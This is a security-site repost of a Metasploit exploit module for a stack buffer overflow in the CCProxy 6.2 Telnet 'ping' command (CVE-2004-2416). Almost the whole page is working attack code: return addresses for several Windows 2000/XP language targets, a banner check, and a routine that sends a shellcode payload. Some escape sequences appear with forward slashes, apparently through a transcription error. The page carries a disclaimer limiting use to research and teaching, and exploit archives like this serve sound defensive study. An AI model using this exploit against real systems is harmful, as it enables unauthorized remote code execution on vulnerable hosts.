CCProxy 's

admin 2017年4月11日17:26:48评论345 views字数 2728阅读9分5秒阅读模式
摘要

来源:milw0rm##
# $Id$
####
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

来源:milw0rm

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

module Msf

class Exploits::Windows::Proxy::CCProxy_Telnet_Ping < Msf::Exploit::Remote
  
  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'CCProxy <= v6.2 Telnet Proxy Ping Overflow',
      'Description'  => %q{
      This module exploits the YoungZSoft CCProxy <= v6.2 suite Telnet service.
        The stack is overwritten when sending an overly long address to the 'ping' command.
      },
      'Author'   => [ 'Patrick Webster <patrick[at]aushack.com>' ],
      'Arch'    => [ ARCH_X86 ],
      'License' => MSF_LICENSE,
      'Version' => '$Revision$',
      'References' =>
      [
        [ 'BID', '11666 ' ],
        [ 'CVE', '2004-2416' ],
        [ 'MIL', '621' ],
        [ 'OSVDB', '11593' ],
      ],
      'Privileged'    => false,
      'DefaultOptions'  =>
      {
        'EXITFUNC'   => 'thread',
      },
      'Payload' =>
        {
          'Space'    => 1012,
          'BadChars'   => "/x00/x07/x08/x0a/x0d",
        },
      'Platform' => ['win'],
      'Targets' =>
      [
      # Patrick – Tested OK 2007/08/19. W2K SP0, W2KSP4, XP SP0, XP SP2 EN.
        [
        'Windows 2000 Pro All – English',
        {
          'Ret'  => 0x75023411, # call esi ws2help.dll
        }
        ],
        [
        'Windows 2000 Pro All – Italian',
        {
          'Ret'  => 0x74fd2b81, # call esi ws2help.dll
        }
        ],
        [
        'Windows 2000 Pro All – French',
        {
          'Ret'  => 0x74fa2b22, # call esi ws2help.dll
        }
        ],
    [
        'Windows XP SP0/1 – English',
        {
          'Ret'  => 0x71aa1a97, # call esi ws2help.dll
        }
        ],
    [
        'Windows XP SP2 – English',
        {
          'Ret'  => 0x71aa1b22, # call esi ws2help.dll
        }
        ],
      ],
      'DisclosureDate' => 'Nov 11 2004'))

      register_options(
      [
        Opt::RPORT(23),
      ], self.class)
  end

  def autofilter
    false
  end

  def check
    connect
    banner = sock.get_once(-1,3)

    if (banner =~ /CCProxy Telnet Service Ready/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    
    sploit = "p " + payload.encoded + [target['Ret']].pack('V') + make_nops(7)
    sock.put(sploit + "/r/n")

    handler
    disconnect
  end

end
end

# milw0rm.com [2007-09-03]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月11日17:26:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CCProxy 'shttps://cn-sec.com/archives/46536.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息